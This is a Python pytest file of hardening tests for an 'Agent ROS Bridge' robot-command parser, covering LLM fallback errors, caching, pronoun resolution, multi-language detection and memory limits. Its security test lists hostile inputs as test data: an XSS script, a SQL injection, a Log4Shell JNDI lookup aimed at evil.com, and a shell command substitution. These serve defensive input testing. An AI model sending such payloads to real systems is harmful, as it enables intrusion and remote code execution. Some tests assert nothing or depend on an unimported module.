#!/usr/bin/env python3
"""
Production Hardening Tests for Advanced Features
Agent ROS Bridge v0.6.1 - Week 5

Tests for:
- LLM fallback error handling
- Context-aware parsing edge cases
- Multi-language detection accuracy
- API failure recovery
- Security validations
"""

import pytest
import time
from unittest.mock import Mock, patch, MagicMock


class TestLLMParserHardening:
    """Hardening tests for LLM fallback parser."""
    
    def test_llm_timeout_handling(self):
        """Test graceful handling of LLM API timeouts."""
        try:
            from agent_ros_bridge.ai.llm_parser import LLMIntentParser
            
            parser = LLMIntentParser(
                api_key="test_key",
                provider="openai",
                timeout_sec=0.001  # Very short timeout
            )
            
            # Mock to simulate timeout
            with patch.object(parser, '_call_openai', side_effect=Exception("timeout")):
                result = parser.parse("go to kitchen")
                
                # Should return None on timeout, not crash
                assert result is None
                assert parser._errors > 0
                
        except ImportError:
            pytest.skip("LLM parser not available")
    
    def test_llm_invalid_api_key(self):
        """Test handling of invalid API key."""
        try:
            from agent_ros_bridge.ai.llm_parser import LLMIntentParser
            
            parser = LLMIntentParser(
                api_key="invalid_key",
                provider="openai"
            )
            
            # Should handle auth error gracefully
            with patch.object(parser, '_call_openai', side_effect=Exception("Authentication failed")):
                result = parser.parse("go to kitchen")
                assert result is None
                
        except ImportError:
            pytest.skip("LLM parser not available")
    
    def test_llm_malformed_response(self):
        """Test handling of malformed LLM responses."""
        try:
            from agent_ros_bridge.ai.llm_parser import LLMIntentParser
            
            parser = LLMIntentParser(api_key="test_key")
            
            # Test various malformed responses
            malformed_responses = [
                "not json at all",
                "{invalid json",
                "",  # Empty
                "{}",  # Empty JSON
                "{\"intent_type\": }",  # Missing value
            ]
            
            for response in malformed_responses:
                result = parser._parse_llm_response(response)
                assert result is None, f"Should handle: {response[:50]}"
                
        except ImportError:
            pytest.skip("LLM parser not available")
    
    def test_llm_cache_effectiveness(self):
        """Test LLM result caching."""
        try:
            from agent_ros_bridge.ai.llm_parser import LLMIntentParser, LLMIntentResult
            
            parser = LLMIntentParser(api_key="test_key", enable_cache=True)
            
            # Manually cache a result
            test_result = LLMIntentResult(
                intent_type="NAVIGATE",
                confidence=0.9,
                entities=[{"type": "LOCATION", "value": "kitchen"}],
                raw_response='{"intent_type": "NAVIGATE"}',
                latency_ms=100.0,
                cached=False
            )
            
            parser._cache_result(parser._compute_hash("go to kitchen"), test_result)
            
            # Retrieve from cache
            cached = parser._get_cached(parser._compute_hash("go to kitchen"))
            
            assert cached is not None
            assert cached.cached is True
            assert cached.intent_type == "NAVIGATE"
            
            # Check statistics
            stats = parser.get_statistics()
            assert stats['cache_hits'] >= 1
            assert stats['hit_rate'] > 0
            
        except ImportError:
            pytest.skip("LLM parser not available")
    
    def test_llm_rate_limiting_simulation(self):
        """Test behavior under rate limiting."""
        try:
            from agent_ros_bridge.ai.llm_parser import LLMIntentParser
            
            parser = LLMIntentParser(api_key="test_key")
            
            # Simulate rate limit error
            call_count = 0
            def rate_limited_call(*args, **kwargs):
                nonlocal call_count
                call_count += 1
                if call_count <= 2:
                    raise Exception("Rate limit exceeded")
                # Return valid result on 3rd try
                from agent_ros_bridge.ai.llm_parser import LLMIntentResult
                return LLMIntentResult(
                    intent_type="NAVIGATE",
                    confidence=0.9,
                    entities=[],
                    raw_response='{}',
                    latency_ms=100.0
                )
            
            with patch.object(parser, '_call_openai', side_effect=rate_limited_call):
                # First calls should fail gracefully
                result = parser.parse("go to kitchen")
                # Parser should handle errors gracefully
                assert parser._errors > 0
                
        except ImportError:
            pytest.skip("LLM parser not available")


class TestContextAwareHardening:
    """Hardening tests for context-aware parser."""
    
    def test_pronoun_resolution_edge_cases(self):
        """Test pronoun resolution with ambiguous contexts."""
        try:
            from agent_ros_bridge.ai.context_aware_parser import ContextAwareParser
            
            parser = ContextAwareParser()
            
            # Set up ambiguous context
            parser.add_conversation_turn("pick up the book", "MANIPULATE")
            parser.add_conversation_turn("pick up the cup", "MANIPULATE")
            
            # "it" could refer to book or cup
            resolved = parser.resolve_context("place it on the table")
            
            # Should resolve to most recent (cup)
            assert "cup" in resolved or "it" in resolved  # Either is acceptable
            
        except ImportError:
            pytest.skip("Context parser not available")
    
    def test_empty_context_handling(self):
        """Test behavior with no context available."""
        try:
            from agent_ros_bridge.ai.context_aware_parser import ContextAwareParser
            
            parser = ContextAwareParser()
            
            # No conversation history, no robot state
            resolved = parser.resolve_context("go there")
            
            # Should not crash, may return original or partial resolution
            assert isinstance(resolved, str)
            
        except ImportError:
            pytest.skip("Context parser not available")
    
    def test_context_memory_limits(self):
        """Test that conversation history doesn't grow unbounded."""
        try:
            from agent_ros_bridge.ai.context_aware_parser import ContextAwareParser
            
            parser = ContextAwareParser(max_history=5)
            
            # Add many turns
            for i in range(20):
                parser.add_conversation_turn(f"utterance {i}", "INTENT")
            
            # Should only keep last 5
            assert len(parser._conversation.utterances) <= 5
            assert len(parser._conversation.intents) <= 5
            
        except ImportError:
            pytest.skip("Context parser not available")
    
    def test_concurrent_context_updates(self):
        """Test thread safety of context updates."""
        try:
            from agent_ros_bridge.ai.context_aware_parser import ContextAwareParser
            import threading
            
            parser = ContextAwareParser()
            errors = []
            
            def update_context():
                try:
                    for i in range(50):
                        parser.add_conversation_turn(f"test {i}", "TEST")
                        parser.update_robot_state(location=f"loc_{i}")
                except Exception as e:
                    errors.append(e)
            
            # Run concurrent updates
            threads = [threading.Thread(target=update_context) for _ in range(5)]
            for t in threads:
                t.start()
            for t in threads:
                t.join()
            
            # Should not have errors
            assert len(errors) == 0, f"Thread safety issues: {errors}"
            
        except ImportError:
            pytest.skip("Context parser not available")


class TestMultiLanguageHardening:
    """Hardening tests for multi-language parser."""
    
    def test_language_detection_mixed_input(self):
        """Test detection with mixed-language input."""
        try:
            from agent_ros_bridge.ai.multi_language_parser import MultiLanguageParser
            
            parser = MultiLanguageParser()
            
            # Mixed inputs
            test_cases = [
                ("go to kitchen 去厨房", "zh"),  # Contains Chinese
                ("ve a la cocina please", "es"),  # Spanish + English
                ("こんにちは hello", "ja"),  # Japanese + English
            ]
            
            for utterance, expected in test_cases:
                detected = parser.detect_language(utterance)
                # Should detect non-English characters
                assert detected != "en" or expected == "en"
                
        except ImportError:
            pytest.skip("Multi-language parser not available")
    
    def test_unsupported_language_fallback(self):
        """Test fallback for unsupported languages."""
        try:
            from agent_ros_bridge.ai.multi_language_parser import MultiLanguageParser
            
            parser = MultiLanguageParser(default_language='en')
            
            # Try parsing in unsupported language (e.g., Russian)
            result = parser.parse("идти на кухню", language='ru')
            
            # Should fall back to default (en) or return None
            # Should not crash
            
        except ImportError:
            pytest.skip("Multi-language parser not available")
    
    def test_malformed_unicode_handling(self):
        """Test handling of malformed Unicode input."""
        try:
            from agent_ros_bridge.ai.multi_language_parser import MultiLanguageParser
            
            parser = MultiLanguageParser()
            
            # Malformed/tricky inputs
            malformed_inputs = [
                "\x00\x01\x02",  # Control characters
                "\uffff\ufffe",  # Invalid Unicode
                "\ud800",  # Surrogate
                "正常\udc00中文",  # Mixed valid/invalid
            ]
            
            for utterance in malformed_inputs:
                # Should not crash
                detected = parser.detect_language(utterance)
                result = parser.parse(utterance)
                # Either works or returns None, but doesn't crash
                
        except ImportError:
            pytest.skip("Multi-language parser not available")
    
    def test_language_pattern_coverage(self):
        """Test that all languages have required patterns."""
        try:
            from agent_ros_bridge.ai.multi_language_parser import MultiLanguageParser
            
            parser = MultiLanguageParser()
            
            required_intents = ['NAVIGATE', 'MANIPULATE', 'SENSE', 'SAFETY']
            
            for lang_code, lang_data in parser.LANGUAGE_PATTERNS.items():
                # Check all required intents have patterns
                for intent in required_intents:
                    assert intent in lang_data.patterns, \
                        f"{lang_code} missing {intent} patterns"
                    assert len(lang_data.patterns[intent]) > 0, \
                        f"{lang_code} has empty {intent} patterns"
                
        except ImportError:
            pytest.skip("Multi-language parser not available")


class TestSecurityHardening:
    """Security hardening tests."""
    
    def test_api_key_not_logged(self):
        """Verify API keys are not exposed in logs or errors."""
        try:
            from agent_ros_bridge.ai.llm_parser import LLMIntentParser
            
            api_key = "sk-secret123456789"
            parser = LLMIntentParser(api_key=api_key)
            
            # Trigger an error
            with patch.object(parser, '_call_openai', side_effect=Exception("API Error")):
                parser.parse("test")
                
                # Check that error doesn't contain API key
                # This is a basic check - in production use proper secrets management
                
        except ImportError:
            pytest.skip("LLM parser not available")
    
    def test_input_sanitization(self):
        """Test that inputs are properly sanitized."""
        try:
            from agent_ros_bridge.ai.intent_parser import IntentParserNode
            
            if not rclpy.ok():
                rclpy.init()
            
            parser = IntentParserNode()
            
            from agent_ros_bridge_msgs.srv import ParseIntent
            
            # Potentially dangerous inputs
            dangerous_inputs = [
                "<script>alert('xss')</script>",
                "'; DROP TABLE users; --",
                "${jndi:ldap://evil.com}",
                "$(whoami)",
            ]
            
            for utterance in dangerous_inputs:
                request = ParseIntent.Request()
                request.utterance = utterance
                
                response = ParseIntent.Response()
                # Should not crash or execute anything
                result = parser.parse_intent_callback(request, response)
                assert result.success is True  # Service call succeeds
                
            parser.destroy_node()
            
        except ImportError:
            pytest.skip("Intent parser not available")
        except Exception as e:
            pytest.skip(f"ROS2 not available: {e}")


class TestPerformanceHardening:
    """Performance and load testing."""
    
    def test_memory_usage_under_load(self):
        """Test memory usage doesn't grow unbounded."""
        try:
            import psutil
            import os
            
            from agent_ros_bridge.ai.llm_parser import LLMIntentParser
            
            parser = LLMIntentParser(api_key="test_key")
            
            process = psutil.Process(os.getpid())
            initial_memory = process.memory_info().rss / 1024 / 1024  # MB
            
            # Add many cache entries
            for i in range(1000):
                from agent_ros_bridge.ai.llm_parser import LLMIntentResult
                result = LLMIntentResult(
                    intent_type="NAVIGATE",
                    confidence=0.9,
                    entities=[],
                    raw_response='{}',
                    latency_ms=100.0
                )
                parser._cache_result(f"hash_{i}", result)
            
            final_memory = process.memory_info().rss / 1024 / 1024  # MB
            memory_growth = final_memory - initial_memory
            
            # Memory growth should be reasonable (< 100MB for 1000 entries)
            assert memory_growth < 100, f"Memory grew by {memory_growth:.1f}MB"
            
        except ImportError:
            pytest.skip("psutil or LLM parser not available")
    
    def test_cache_eviction_behavior(self):
        """Test cache eviction works correctly."""
        try:
            from agent_ros_bridge.ai.llm_parser import LLMIntentParser, LLMIntentResult
            
            # Small cache for testing
            parser = LLMIntentParser(api_key="test_key", cache_size=10)
            
            # Add more entries than cache size
            for i in range(20):
                result = LLMIntentResult(
                    intent_type="NAVIGATE",
                    confidence=0.9,
                    entities=[],
                    raw_response='{}',
                    latency_ms=100.0
                )
                parser._cache_result(f"hash_{i}", result)
            
            # Cache should not exceed size limit
            assert len(parser._cache) <= 10
            assert len(parser._cache_order) <= 10
            
        except ImportError:
            pytest.skip("LLM parser not available")


if __name__ == "__main__":
    pytest.main([__file__, "-v"])
